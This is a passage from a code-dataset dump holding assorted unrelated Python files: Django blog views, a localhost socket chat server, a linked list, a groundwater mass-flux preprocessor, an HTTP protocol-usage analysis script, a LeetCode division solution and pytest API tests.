如果最左边的页码号比第 1 页的页码号大,说明当前页左边的连续页码号中不包含第一页的页码,\n # 所以需要显示第一页的页码号,通过 first 来指示\n if left[0] > 1:\n first = True\n else:\n # 用户请求的既不是最后一页,也不是第 1 页,则需要获取当前页左右两边的连续页码号,\n # 这里只获取了当前页码前后连续两个页码,你可以更改这个数字以获取更多页码。\n left = page_range[(page_number - 3) if (page_number - 3) > 0 else 0:page_number - 1]\n right = page_range[page_number:page_number + 2]\n\n # 是否需要显示最后一页和最后一页前的省略号\n if right[-1] < total_pages - 1:\n right_has_more = True\n if right[-1] < total_pages:\n last = True\n\n # 是否需要显示第 1 页和第 1 页后的省略号\n if left[0] > 2:\n left_has_more = True\n if left[0] > 1:\n first = True\n\n data = {\n 'left': left,\n 'right': right,\n 'left_has_more': left_has_more,\n 'right_has_more': right_has_more,\n 'first': first,\n 'last': last,\n }\n\n return data\n\n\ndef archives(request, year, month):\n \"\"\"\n 归档页\n :param request:\n :param year:\n :param month:\n :return:\n \"\"\"\n posts = Post.objects.filter(created_date__year=year,\n created_date__month=month,\n ).order_by('-created_date')\n return render(request, 'blog/index.html', context={'posts': posts})\n\n\n# 继承自IndexView\nclass ArchivesView(IndexView):\n \"\"\"\n CBV替代category()\n \"\"\"\n\n def get_queryset(self):\n year, month = self.kwargs.get('year'), self.kwargs.get('month')\n return super(ArchivesView, self).get_queryset().filter(created_date__year=year, created_date__month=month, )\n\n\ndef category(request, pk):\n \"\"\"\n 分类页\n :param request:\n :param pk:\n :return:\n \"\"\"\n cate = get_object_or_404(Category, pk=pk)\n posts = Post.objects.filter(category=cate).order_by('-created_date')\n return render(request, 'blog/index.html', context={'posts': posts})\n\n\n# 继承自IndexView\nclass CategoryView(IndexView):\n \"\"\"\n CBV替代category()\n \"\"\"\n\n def get_queryset(self):\n \"\"\"\n 类视图中,从 URL 捕获的命名组参数值保存在实例的 kwargs 属性里,非命名组参数值保存在实例的 args 里\n :return:\n \"\"\"\n cate = get_object_or_404(Category, pk=self.kwargs.get('pk'))\n return super(CategoryView, self).get_queryset().filter(category=cate)\n\n\ndef post_detail(request, pk):\n \"\"\"\n 博客详情\n :param request:\n :param pk: (?P[0-9]+)\n :return:\n \"\"\"\n post = get_object_or_404(Post, pk=pk)\n post.increase_views()\n post.text = markdown.markdown(post.text,\n extensions=[\n 'markdown.extensions.extra',\n 'markdown.extensions.codehilite',\n 'markdown.extensions.toc',\n ])\n form = CommentForm()\n comment_list = post.comments.all()\n context = {'post': post,\n 'form': form,\n 'comment_list': comment_list\n }\n return render(request, 'blog/detail.html', context=context)\n\n\nclass PostDetailView(DetailView):\n model = Post\n template_name = 'blog/detail.html'\n context_object_name = 'post'\n\n def get(self, request, *args, **kwargs):\n # 覆写 get 方法的目的是因为每当文章被访问一次,就得将文章阅读量 +1\n # get 方法返回的是一个 HttpResponse 实例\n # 之所以需要先调用父类的 get 方法,是因为只有当 get 方法被调用后,\n # 才有 self.object 属性,其值为 Post 模型实例,即被访问的文章 post\n response = super(PostDetailView, self).get(request, *args, **kwargs)\n # 增加阅读量; self.object 的值就是被访问的文章实例 post\n self.object.increase_views()\n return response\n\n def get_object(self, queryset=None):\n # 覆写 get_object 方法的目的是因为需要对 post 的 text 值进行渲染\n post = super(PostDetailView, self).get_object(queryset=None)\n post.text = markdown.markdown(post.text,\n extensions=[\n 'markdown.extensions.extra',\n 'markdown.extensions.codehilite',\n 'markdown.extensions.toc',\n ])\n return post\n\n def get_context_data(self, **kwargs):\n # 覆写 get_context_data 的目的是因为除了将 post 传递给模板外(DetailView 已经帮我们完成),\n # 还要把评论表单、post 下的评论列表传递给模板。\n context = super(PostDetailView, self).get_context_data(**kwargs)\n form = CommentForm()\n comment_list = self.object.comments.all()\n context.update({\n 'form': form,\n 'comment_list': comment_list\n })\n return context\n\n\n@login_required\ndef post_new(request):\n \"\"\"\n 新建博客页\n :param request:\n :return:\n \"\"\"\n if request.method == \"POST\":\n form = PostForm(request.POST)\n if form.is_valid():\n post = form.save(commit=False)\n post.author = request.user\n # post.published_date = timezone.now()\n post.save()\n return redirect('post_detail', pk=post.pk)\n else:\n form = PostForm()\n return render(request, 'blog/post_edit.html', {'form': form})\n\n\n@login_required\ndef post_edit(request, pk):\n post = get_object_or_404(Post, pk=pk)\n if request.method == \"POST\":\n form = PostForm(request.POST, instance=post)\n if form.is_valid():\n post = form.save(commit=False)\n post.author = request.user\n # post.published_date = timezone.now()\n post.save()\n return redirect('post_detail', pk=post.pk)\n else:\n form = PostForm(instance=post)\n return render(request, 'blog/post_edit.html', {'form': form})\n\n\n@login_required\ndef post_draft_list(request):\n posts = Post.objects.filter(published_date__isnull=True).order_by('created_date')\n return render(request, 'blog/post_draft_list.html', {'posts': posts})\n\n\n@login_required\ndef post_publish(request, pk):\n post = get_object_or_404(Post, pk=pk)\n post.published()\n return redirect('post_detail', pk=pk)\n\n\n@login_required\ndef post_remove(request, pk):\n post = get_object_or_404(Post, pk=pk)\n post.delete()\n return redirect('index')\n\n\ndef add_comment_to_post(request, pk):\n post = get_object_or_404(Post, pk=pk)\n if request.method == \"POST\":\n form = CommentForm(request.POST)\n if form.is_valid():\n comment = form.save(commit=False)\n comment.post = post\n comment.save()\n return redirect('post_detail', pk=post.pk)\n # return redirect('post_detail')\n else:\n comment_list = post.comments.all()\n context = {'post': post,\n 'form': form,\n 'comment_list': comment_list\n }\n return render(request, 'blog/detail.html', context=context)\n # form = CommentForm()\n return render(request, 'blog/add_comment_to_post.html', {'form': form})\n\n\n@login_required\ndef comment_approve(request, pk):\n comment = get_object_or_404(Comment, pk=pk)\n comment.approve()\n return redirect('post_detail', pk=comment.post.pk)\n\n\n@login_required\ndef comment_remove(request, pk):\n comment = get_object_or_404(Comment, pk=pk)\n comment.delete()\n return redirect('post_detail', pk=comment.post.pk)\n","sub_path":"blog/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":14198,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"584966608","text":"\"\"\"\n通用返回参数\n\"\"\"\n\n\nclass BaseResponse:\n def __init__(self,code=\"0\",message=\"success\"):\n self.code = code\n self.message = message\n code = \"0\"\n message = \"success\"\n\n def is_success(self):\n \"\"\"\n 判断返回结果是否为空\n :return:\n \"\"\"\n if self.code == '0':\n return True\n else:\n return False\n\n\nif __name__ == '__main__':\n\n import json\n from flask import jsonify,Flask\n\n app = Flask(__name__)\n app.run()\n a = BaseResponse(\"0\", \"success\")\n print(a)\n b = json.dumps(a.__dict__)\n print(b)\n c = json.loads(b)\n bbb = jsonify({\"a\":123})\n print(bbb)","sub_path":"server/vo/response/base_response.py","file_name":"base_response.py","file_ext":"py","file_size_in_byte":676,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"231513814","text":"from random import randint\n\n\nclass Node:\n\n def __init__(self, value):\n self.value = value\n self.next = None\n\n def set_next(self, next=None):\n self.next = next\n\n def get_next(self):\n return self.next\n\n\nclass LinkedList:\n\n def __init__(self, head=None):\n self.head = head\n self.tail = self.head\n\n def insert(self, new_value: int):\n temp = Node(new_value)\n temp.set_next(self.head)\n self.head = temp\n\n def display(self):\n if not self.head:\n return print('No list')\n\n current = self.head\n print(current.value, end='')\n while current.next:\n current = current.next\n print(f' -> {current.value}', end='')\n print('\\n')\n return\n\n def size(self):\n if not self.head:\n return 0\n current = self.head\n size = 1\n while current.next:\n size += 1\n current = current.next\n return size\n\n def generate_random(self, size: int = 4):\n min_limit = 1\n max_limit = 99\n if size < 1:\n return\n for i in range(1, size + 1):\n self.insert(randint(min_limit, max_limit))\n\n","sub_path":"DataStructures.py","file_name":"DataStructures.py","file_ext":"py","file_size_in_byte":1218,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"397276839","text":"from typer.testing import CliRunner\n\nfrom .main import app\n\nrunner = CliRunner()\n\n\ndef test_app():\n result = runner.invoke(app, [\"Camila\"], input=\"camila@example.com\\n\")\n assert result.exit_code == 0\n assert \"Hello Camila, your email is: camila@example.com\" in result.stdout\n","sub_path":"docs_src/testing/app02/test_main.py","file_name":"test_main.py","file_ext":"py","file_size_in_byte":284,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"309077941","text":"from app.models.base import *\nfrom app.models.restaurant import Restaurant\n\n\nclass Votes(BaseModel):\n\n day = CharField(index=True)\n restaurant = ForeignKeyField(Restaurant, db_column=\"restaurant\")\n votes = IntegerField(default=0)\n\n @classmethod\n def _get_votes_by_restaurant(cls, restaurant, today):\n return cls._get_one(query=((cls.restaurant == restaurant) & (cls.day == today)))\n\n @classmethod\n def increment(cls, restaurant, today):\n # if Votes exists, use update...\n votes = cls._get_votes_by_restaurant(restaurant, today)\n if votes:\n return cls._update_and_execute(query=((Votes.restaurant == restaurant) & (Votes.day == today)),\n votes=Votes.votes + 1)\n\n Votes.create(day=today, restaurant=restaurant, votes=1)\n\n @classmethod\n def get_votes(cls, today):\n return cls._get_where(query=(cls.day == today),\n order_by=cls.votes)\n\n class Meta:\n primary_key = CompositeKey('day', 'restaurant')\n\n indexes = (\n (('day', 'restaurant'), True),\n )","sub_path":"app/models/votes.py","file_name":"votes.py","file_ext":"py","file_size_in_byte":1128,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"236616988","text":"import threading\nimport socket\nimport os\nimport sys\n\nclass Command(threading.Thread):\n def __init__(self,ipt):\n super().__init__()\n self.ipt = ipt\n def run(self):\n while True:\n ipt = input()\n if ipt == '/quit':\n break\n\nclass ServerSocket(threading.Thread):\n def __init__(self, sc, sockname, server):\n super().__init__()\n self.sc = sc\n self.sockname = sockname\n self.server = server\n \n def run(self):\n while True:\n \n try:\n clientMessage = self.sc.recv(1024).decode('utf-8')\n if clientMessage: \n print('{}: {!r}'.format(self.sockname,clientMessage))\n self.server.broadcast(clientMessage, self.sockname)\n else:\n print('{} has closed the connection'.format(self.sockname))\n self.sc.close()\n self.server.remove_connection(self)\n return\n except ConnectionResetError:\n print('{} has closed the connection'.format(self.sockname))\n self.sc.close()\n self.server.remove_connection(self)\n return\n\n def send(self, message):\n self.sc.sendall(message.encode('utf-8'))\n\n\nclass Server(threading.Thread):\n def __init__(self,host,port):\n super().__init__()\n self.connections = []\n self.host = host\n self.port = port\n\n def run(self):\n sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n sock.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR, 1)\n sock.bind((self.host,self.port))\n sock.listen(1)\n print('Listening at', sock.getsockname())\n \n while True:\n sc, sockname = sock.accept()\n print('Accepted a new connection form {} to {}'.format(sc.getpeername(), sc.getsockname()))\n\n # Create new thread\n server_socket = ServerSocket(sc, sockname, self)\n\n # Start new thread\n server_socket.start()\n\n self.connections.append(server_socket)\n print('Ready to receive messages from', sc.getpeername())\n \n def broadcast(self, message, source):\n for conn in self.connections:\n if conn.sockname != source:\n conn.send(message)\n\n def remove_connection(self,conn):\n self.connections.remove(conn)\n\n\nHOST = '127.0.0.1'\nPORT = 8000\n\nserver = Server(HOST, PORT)\nserver.start()\n\n","sub_path":"server_new.py","file_name":"server_new.py","file_ext":"py","file_size_in_byte":2535,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"307912175","text":"'''\nAuthor: Neil Powers\nDate: May 2019\nCompany: Intera Inc.\nUsage: preprocess Vadose Zone flux/mass (merge overlapping cells, shift\n mass as cells go dry according to flow derived from MT3D Head file),\n'''\nimport logging\nimport pandas as pd\nimport numpy as np\nimport os.path\nclass mass_obj:\n def __init__(self, dir,log,misc_p):\n self.input_dir = dir\n self.logger = logging.getLogger(log)\n self.misc_path = misc_p\n self.cell_map_header = ['i-j','total_mass','file']\n self.cell_map_index = 'i-j'\n self.cell_map = pd.DataFrame(columns=self.cell_map_header)\n self.cell_map = self.cell_map.set_index(self.cell_map_index)\n self.cells = self.build_cell_concentration()\n self.write_cell_map()\n def pad_start_years(self,start_y):\n stop_year = int(self.cells.index[0])\n start_year = start_y\n for year in range(start_year, stop_year, 1):\n self.cells = self.cells.append(pd.Series(name=year))\n self.cells = self.cells.sort_index()\n def pad_end_years(self,end_y):\n stop_year = end_y + 1\n #print(self.cells.index[self.cells.index.size - 10:self.cells.index.size - 1])\n start_year = int(self.cells.index[self.cells.index.size - 1]) + 1\n for year in range(start_year, stop_year,1):\n self.cells = self.cells.append(pd.Series(name=year))\n print(self.cells.index)\n self.cells = self.cells.sort_index()\n #---------------------------------------------------------------------------\n # Convert all values to unit/day, and add days column 0 to last year by\n # 365.25\n def convert_to_daily(self,start_y, end_y):\n\n self.logger.debug(\"start_year: {0}\".format(start_y))\n self.logger.debug(\"end_year : {0}\".format(end_y))\n self.logger.debug(\"length bef: {0}\".format(self.cells.index.size))\n # check that data has the starting years already\n if not start_y in self.cells.index:\n self.pad_start_years(start_y)\n # check that data has the ending years already\n if not end_y in self.cells.index:\n self.pad_end_years(end_y)\n\n #print(\"index after adding missing years: {0}\".format(self.cells.index))\n\n self.cells = self.cells.loc[start_y:end_y]\n\n self.logger.debug(\"length aft: {0}\".format(self.cells.index.size))\n\n #if self.cells.columns.size >= 1:\n # self.logger.debug(\"example1 bef: {0}\".format(self.cells.loc[start_y,self.cells.columns[1]]))\n # self.logger.debug(\"example2 bef: {0}\".format(self.cells.loc[end_y,self.cells.columns[1]]))\n\n self.cells = self.cells /365.25\n\n #if self.cells.columns.size >= 1:\n # self.logger.debug(\"example1 aft: {0}\".format(self.cells.loc[start_y,self.cells.columns[1]]))\n # self.logger.debug(\"example2 aft: {0}\".format(self.cells.loc[end_y,self.cells.columns[1]]))\n row_count = self.cells.index.size\n #self.cells['days'] = np.arange(0.0,float(row_count)*365.25, 365.25)\n self.cells['days'] = self.cells.index\n self.cells['days'] = self.cells['days'].diff().cumsum()*365.25\n #self.cells['days'] = np.arange(0.0,(float(end_y-start_y)*365.25)+366, 365.25)\n self.logger.debug(\"days : \\n {0}\".format(self.cells['days']))\n\n #self.cells = self.cells.replace(r'\\s+', np.nan, regex=True)\n self.cells = self.cells.fillna(0)\n #---------------------------------------------------------------------------\n # build dataframe map of which cells belong to which file/model and the total_mass\n # for each cell.\n def build_cell_map(self,filename,col,total_mass):\n file = \"{0} ({1})\".format(filename,total_mass)\n if col in self.cell_map.index.values:\n self.cell_map.loc[col,\"file\"].append(file)\n self.cell_map.loc[col,\"total_mass\"] += total_mass\n else:\n temp = pd.DataFrame([[col,total_mass,[file]]],columns=self.cell_map_header)\n temp = temp.set_index(self.cell_map_index)\n self.cell_map = self.cell_map.append(temp,sort=False)\n #---------------------------------------------------------------------------\n #\n def write_cell_map(self):\n self.cell_map.to_csv(os.path.join(self.misc_path,r'cell_map.csv'),header = True)\n #-------------------------------------------------------------------------------\n # find if a string can be converted to float\n def is_number(self,s):\n try:\n float(s)\n return True\n except:\n return False\n #-------------------------------------------------------------------------------\n # build_cell_concentration\n def build_cell_concentration(self):\n self.logger.info(\"build cell Concentrations\")\n files = []\n identifier = 0\n t_mass = {}\n cells = pd.DataFrame(columns=['time'])\n cells = cells.set_index('time')\n\n for filename in os.listdir(self.input_dir):\n size = 0\n skip = 0\n if filename.endswith(\".csv\"):\n self.logger.info(\"loading file: {}\".format(filename))\n dir_file = self.input_dir+filename\n self.logger.info(\" processing File: {0}\".format(dir_file))\n head_row = -1\n with open(dir_file,\"r\") as d:\n datafile = d.read()\n d_lines = datafile.splitlines()\n for line in d_lines:\n head_row += 1\n if line[0] != \"#\":\n tmp = line.strip().split(\",\") ##line.strip().replace(\" \",\" \")\n if tmp[0].lower() == \"time\" or tmp[0].lower() == \"year\":\n break\n if self.is_number(d_lines[head_row+1].strip().split(\",\")[0]) == False:\n skip = head_row+1\n if skip == 0:\n df = pd.read_csv(dir_file,index_col=0,header=head_row)#, skiprows=[skip])\n else:\n df = pd.read_csv(dir_file,index_col=0,header=head_row, skiprows=[skip])\n df.rename(str.lower, axis='columns')\n columns = df.columns\n for col in columns:\n temp = col.strip()\n if col == \"year\":\n self.logger.info(\" -renaming column year to time\")\n df.rename(index=str,columns={\"year\":\"time\"})\n elif \"-\" not in col:\n self.logger.info(\" -droping column {0} as its not cell flux\".format(col))\n df.drop([col],axis=1, inplace=True)\n elif \"modflow_\" in col:\n temp = col.replace(\"modflow_\",\"\")\n self.logger.info(\" -renaming column {0} to {1}\".format(col,temp))\n df.rename(index=str,columns={col:temp},inplace=True)\n self.build_cell_map(filename,col,df[temp].sum())\n elif \"-\" in col:\n self.build_cell_map(filename,col,df[col].sum())\n\n cells = pd.concat([cells,df],axis=1,sort=False)\n\n #cells = cells.merge(df, left_index=True,right_index=True, how='outer')\n\n #change all NaN to 0\n cells = cells.fillna(0)\n # convert all cells from string to float\n cells = cells.astype('float64')\n # change negative numbers to 0\n cells[cells < 0] = 0\n #Sum together any duplicate columns\n cells = cells.groupby(lambda x:x, axis=1).sum()\n cells = self.drop_empty_cells(cells)\n return cells\n #---------------------------------------------------------------------------\n # drop cells with no mass from source data\n def drop_empty_cells(self,cells):\n summed_cells = cells.sum(axis=0)\n summed_cells = pd.DataFrame(summed_cells).transpose()\n drop_cells = summed_cells.columns[(summed_cells == 0).iloc[0]]\n #drop_cells = (summed_cells == 0).columns\n\n if len(drop_cells) > 0:\n print(\"Dropping cells with no mass from loaded data: {0}\".format(drop_cells))\n self.logger.info(\"Dropping cells with no mass from loaded data: {0}\".format(drop_cells.to_list()))\n return cells.drop(drop_cells, axis=1)\n else:\n return cells\n #-----------------------------------------------------------------------\n #\n def find_proportion(self,data,ind):\n if data[ind] != None:\n # x/i=100/k\n k = 0\n for rec in data:\n if rec != None:\n k += rec[2]\n y = 1\n i = data[ind][2]\n return ((y*i)/k)\n else:\n return 0\n #-----------------------------------------------------------------------\n # Creates column with proportional data from original cell then adds cell_loss\n # to the cells dataframe\n def create_proportional_data(self,face,data,prcnt):\n new_i_j = '{0}-{1}'.format(face[0],face[1])\n self.logger.info(\" -shifting {0}% to cell {1}\".format(prcnt,new_i_j))\n tmp_cell = data.copy()\n tmp_cell = tmp_cell.rename(new_i_j)\n self.logger.info(\" -renaming cell to new name: {0}\".format(tmp_cell.name))\n tmp_cell = tmp_cell * prcnt\n #self.cells = pd.concat([self.cells,tmp_cell],axis=1)\n return tmp_cell\n #-----------------------------------------------------------------------\n # log where mass came from and where it went\n def add_sum_to_log(self, df,f_ij,t_ij,data):\n if t_ij not in df.index:\n df = df.append(pd.Series(name=t_ij))\n # convert all cells from string to float\n df = df.astype('float64')\n if f_ij not in df.columns:\n df[f_ij] = pd.Series(name=f_ij, index=df.index)\n # convert all cells from string to float\n df = df.astype('float64')\n #change all NaN to 0\n df = df.fillna(0.0)\n #if np.isnan(df.at[t_ij,f_ij]):\n # df.at[t_ij,f_ij] = float64(0)\n df.at[t_ij,f_ij] += data.sum(axis = 0, skipna = True)\n return df\n #-----------------------------------------------------------------------\n #\n def process_dry_cells(self,dry_cells,intrmdt_flag):\n more_dry_cells = True\n move_log = pd.DataFrame(columns=[\"i-j\"])\n move_log = move_log.set_index(\"i-j\")\n\n iteration = 0\n self.logger.info(\"Processing Flux from Cells that have have gone dry:\")\n while more_dry_cells == True:\n proportional_data = pd.DataFrame(columns=['time'])\n proportional_data = proportional_data.set_index('time')\n iteration +=1\n more_dry_cells = False\n self.logger.info(\" Iteration {0}\".format(iteration))\n for index, cell in dry_cells.iterrows():\n #format i and j into same format as header 'i-j'\n i_j = '{0}-{1}'.format(index[0],index[1])\n if i_j in self.cells.columns:\n self.logger.info(\" Processing {0}\".format(i_j))\n #find index of the last time step that is <= the last saturated time step\n time_step = cell[0]\n #Find the index of the last time step before cell goes dry\n self.logger.info(\" Time_step: {0}\".format(time_step))\n t_rows = self.cells.loc[:,'days'] > time_step\n if t_rows[t_rows].index.size > 0:\n first_dry_ind = min(t_rows[t_rows].index)\n\n self.logger.info (\" index of first dry time step: {0}, {1}\".format(first_dry_ind,self.cells.loc[first_dry_ind,\"days\"]))\n #make copy of the rows to be distributed\n cell_loss = self.cells.loc[first_dry_ind:,i_j].copy()\n self.logger.info(\" {0} size: {1}\".format(cell_loss.name,cell_loss.size))\n #check if data to be moved has any flux > 0 otherwise ignore\n if (cell_loss > 0).any():\n self.logger.info(\" Cell {0}: dry after time step {1} \".format(i_j,cell[0]))\n faces = cell[1]\n more_dry_cells = True\n #clear copied data from column\n self.cells.loc[first_dry_ind:,i_j] = 0\n self.logger.debug(\"Debug, sliced cell data: {0}\".format(cell_loss))\n #find and create proportional data\n prcnt = self.find_proportion(faces,0)\n if prcnt > 0:\n temp = self.create_proportional_data(faces[0],cell_loss,prcnt)\n proportional_data = pd.concat([proportional_data,temp],axis=1)\n move_log = self.add_sum_to_log(move_log,i_j,'{0}-{1}'.format(faces[0][0],faces[0][1]),temp)\n prcnt = self.find_proportion(faces,1)\n if prcnt > 0:\n temp = self.create_proportional_data(faces[1],cell_loss,prcnt)\n proportional_data = pd.concat([proportional_data,temp],axis=1)\n move_log = self.add_sum_to_log(move_log,i_j,'{0}-{1}'.format(faces[1][0],faces[1][1]),temp)\n prcnt = self.find_proportion(faces,2)\n if prcnt > 0:\n temp = self.create_proportional_data(faces[2],cell_loss,prcnt)\n proportional_data = pd.concat([proportional_data,temp],axis=1)\n move_log = self.add_sum_to_log(move_log,i_j,'{0}-{1}'.format(faces[2][0],faces[2][1]),temp)\n prcnt = self.find_proportion(faces,3)\n if prcnt > 0:\n temp = self.create_proportional_data(faces[3],cell_loss,prcnt)\n proportional_data = pd.concat([proportional_data,temp],axis=1)\n move_log = self.add_sum_to_log(move_log,i_j,'{0}-{1}'.format(faces[3][0],faces[3][1]),temp)\n\n self.cells = pd.concat([self.cells,proportional_data],axis=1)\n #change all NaN to 0\n self.cells=self.cells.fillna(0)\n #Sum together the duplicate columns that were just added\n # to the existing columns\n if intrmdt_flag:\n self.cells.to_csv(os.path.join(self.misc_path,r'dry_cell_flux_shift_itteration_{0}.csv'.format(iteration)),header = True)\n self.cells = self.cells.groupby(lambda x:x, axis=1).sum()\n #order index and columns of move_log\n move_log.sort_index(axis=0,inplace=True)\n move_log.sort_index(axis=1,inplace=True)\n move_log.to_csv(os.path.join(self.misc_path,r'flux_mass_shift_mapping.csv'.format(iteration)),header = True)\n","sub_path":"pylib/hssmbuilder/preprocess_mass.py","file_name":"preprocess_mass.py","file_ext":"py","file_size_in_byte":15152,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"146739465","text":"#仕様については,README.mdファイルを確認してください。(errorについても少し書いてあります。)\n\nimport json\nimport glob\n\n# /jsonファイル検索/\njson_file_names = glob.glob('json_data/*.json')\n\n# === 変数定義 ===\nmother_data = [] #母データ\nfiles_num = len(json_file_names)\nrange_files_num = range(files_num) #for分簡略用変数\nhttp10_counts = [0 for i in range_files_num]\nhttp11_counts = [0 for i in range_files_num]\nhttp20_counts = [0 for i in range_files_num]\nhttp30_counts = [0 for i in range_files_num]\nh3_29_counts = [0 for i in range_files_num]\nhttp10_percent = []\nhttp11_percent = []\nhttp20_percent = []\nhttp30_percent = []\nh3_29_percent = []\nhttp10_average = 0\nhttp11_average = 0\nhttp20_average = 0\nhttp30_average = 0\nh3_29_average = 0\n\n# /json読み込み/\nfor fname in json_file_names:\n open_file = open(fname, 'r')\n mother_data.append(json.load(open_file))\n\n# /使っている総プロトコル数計算/\nuse_protocol_num = [len(num['log']['entries']) for num in mother_data]\nrange_use_protocol_num = [range(num) for num in use_protocol_num]\n\n# /使用プロトコル名抽出/\nuse_protocol_names = [[] for i in range_files_num]\nfor i in range_files_num:\n for j in range_use_protocol_num[i]:\n use_protocol_names[i].append(\n mother_data[i]['log']['entries'][j]['response']['httpVersion'])\n\n# /使用している各プロトコル数計算/\nfor i, protocols in enumerate(use_protocol_names):\n for protocol in protocols:\n protocol = protocol.lower()\n if protocol == 'http/1.0':\n http10_counts[i] += 1\n elif protocol == 'http/1.1':\n http11_counts[i] += 1\n elif protocol == 'http/2.0' or protocol == 'h2' or protocol == 'h2c':\n http20_counts[i] += 1\n elif protocol == 'http/3.0':\n http30_counts[i] += 1\n elif protocol == 'h3-29':\n h3_29_counts[i] += 1\n\n# /各プロトコルの使用率/\nfor i in range_files_num:\n http10_percent.append(http10_counts[i] / use_protocol_num[i] * 100)\n http11_percent.append(http11_counts[i] / use_protocol_num[i] * 100)\n http20_percent.append(http20_counts[i] / use_protocol_num[i] * 100)\n http30_percent.append(http30_counts[i] / use_protocol_num[i] * 100)\n h3_29_percent.append(h3_29_counts[i] / use_protocol_num[i] * 100)\n\n# /全体の平均計算/\nfor i in range_files_num:\n http10_average += http10_percent[i]\n http11_average += http11_percent[i]\n http20_average += http20_percent[i]\n http30_average += http30_percent[i]\n h3_29_average += h3_29_percent[i]\nhttp10_average /= files_num\nhttp11_average /= files_num\nhttp20_average /= files_num\nhttp30_average /= files_num\nh3_29_average /= files_num\n\n# /確認用/\nprint('=========================================')\nfor i in range_files_num:\n url_start = json_file_names[i].rfind('\\\\') + 1\n url_end = json_file_names[i].rfind('.json')\n print('url : ' + json_file_names[i][url_start:url_end] + '\\n')\n print('protocol sum : ' + str(use_protocol_num[i]) + '\\n')\n print('http/1.0 : ' + str(http10_counts[i]) + ' /' +\n str(use_protocol_num[i]) + ' ' + str(http10_percent[i]) + '%')\n print('http/1.1 : ' + str(http11_counts[i]) + ' /' +\n str(use_protocol_num[i]) + ' ' + str(http11_percent[i]) + '%')\n print('http/2.0 : ' + str(http20_counts[i]) + ' /' +\n str(use_protocol_num[i]) + ' ' + str(http20_percent[i]) + '%')\n print('http/3.0 : ' + str(http30_counts[i]) + ' /' +\n str(use_protocol_num[i]) + ' ' + str(http30_percent[i]) + '%')\n print('h3-29 : ' + str(h3_29_counts[i]) + ' /' +\n str(use_protocol_num[i]) + ' ' + str(h3_29_percent[i]) + '%')\n print('\\n=========================================')\n\nprint('\\n[the whole average]')\nprint('http/1.0 : ' + str(http10_average) + ' %')\nprint('http/1.1 : ' + str(http11_average) + ' %')\nprint('http/2.0 : ' + str(http20_average) + ' %')\nprint('http/3.0 : ' + str(http30_average) + ' %')\nprint('h3-29 : ' + str(h3_29_average) + ' %')\n","sub_path":"http_ver2/json_analysis.py","file_name":"json_analysis.py","file_ext":"py","file_size_in_byte":4058,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"200845816","text":"class Solution(object):\n def divide(self, dividend, divisor):\n \"\"\"\n :type dividend: int\n :type divisor: int\n :rtype: int\n \"\"\"\n #31 bits\n maxINT=(1<<31)-1\n #32 bits\n minINT=-1*(1<<31)\n if divisor==0:\n return maxINT\n #print (maxINT,minINT,\"dd\")\n #if dividend==minINT and divisor==1:\n #return minINT\n if dividend==minINT and divisor==-1:\n #print (\"ss\")\n return maxINT\n negative=False\n if (dividend>0 and divisor<0) or (dividend<0 and divisor>0):\n negative=True\n dividend=abs(dividend)\n divisor=abs(divisor)\n low=0\n high=dividend\n while low<=high:\n mid=(high-low)//2+low\n if mid*divisordividend:\n high=mid-1\n else:\n return mid if negative==False else -1*mid\n return high if negative==False else -1*high\n\nprint (Solution().divide(4,2))\nprint (Solution().divide(5,2))\nprint (Solution().divide(7,-2))\nprint (Solution().divide(-7,-2))\nprint (Solution().divide(-7,2))\nprint (Solution().divide(-2147483648,-1))","sub_path":"DivideTwoIntegers.py","file_name":"DivideTwoIntegers.py","file_ext":"py","file_size_in_byte":1234,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"647781240","text":"import asyncio\nimport uuid\n\nimport pytest\nfrom tests.factories import ApiaryFactory\nfrom tests.factories import HiveFactory\nfrom tests.factories import SwarmFactory\n\nfrom aristaeus.domain.services.unit_of_work import UnitOfWork\n\n\n@pytest.mark.parametrize(\"async_app\", [\"11111111-1111-1111-1111-111111111111\"], indirect=True)\nasync def test_create_swarm(async_app):\n data = {\"queen_year\": 2020, \"health\": \"Good\"}\n response = await async_app.post(\"/swarm\", json=data)\n assert response.status_code == 200, response.text\n\n data = response.json()\n assert data[\"queen_year\"] == 2020, data\n assert data[\"health\"] == \"Good\", data\n\n\n@pytest.mark.parametrize(\"async_app\", [\"11111111-1111-1111-1111-111111111111\"], indirect=True)\n@pytest.mark.parametrize(\n \"payload\",\n (\n {\"health\": \"Good\"},\n {\"queen_year\": \"Good\"},\n {\"health\": \"Ok\", \"queen_year\": None},\n {\"health\": \"Ok\", \"queen_year\": \"\"},\n {\"health\": \"\", \"queen_year\": \"bla\"},\n ),\n)\nasync def test_create_swarm__wrong_payload(async_app, payload):\n response = await async_app.post(\"/swarm\", json=payload)\n assert response.status_code == 422, response.text\n\n\n@pytest.mark.parametrize(\"async_app\", [\"11111111-1111-1111-1111-111111111111\"], indirect=True)\nasync def test_get_swarm__unknown(async_app):\n response = await async_app.get(f\"/swarm/{uuid.uuid4()}\")\n assert response.status_code == 404, response.text\n\n\n@pytest.mark.parametrize(\"async_app\", [\"11111111-1111-1111-1111-111111111111\"], indirect=True)\nasync def test_get_swarm__get(async_app):\n data = {\"queen_year\": 2010, \"health\": \"Ok\"}\n response = await async_app.post(\"/swarm\", json=data)\n assert response.status_code == 200, response.text\n\n swarm_id = response.json()[\"public_id\"]\n response = await async_app.get(f\"/swarm/{swarm_id}\")\n assert response.status_code == 200, response.text\n\n\n@pytest.mark.parametrize(\"async_app\", [\"11111111-1111-1111-1111-111111111111\"], indirect=True)\nasync def test_put_swarm(async_app):\n async with UnitOfWork() as 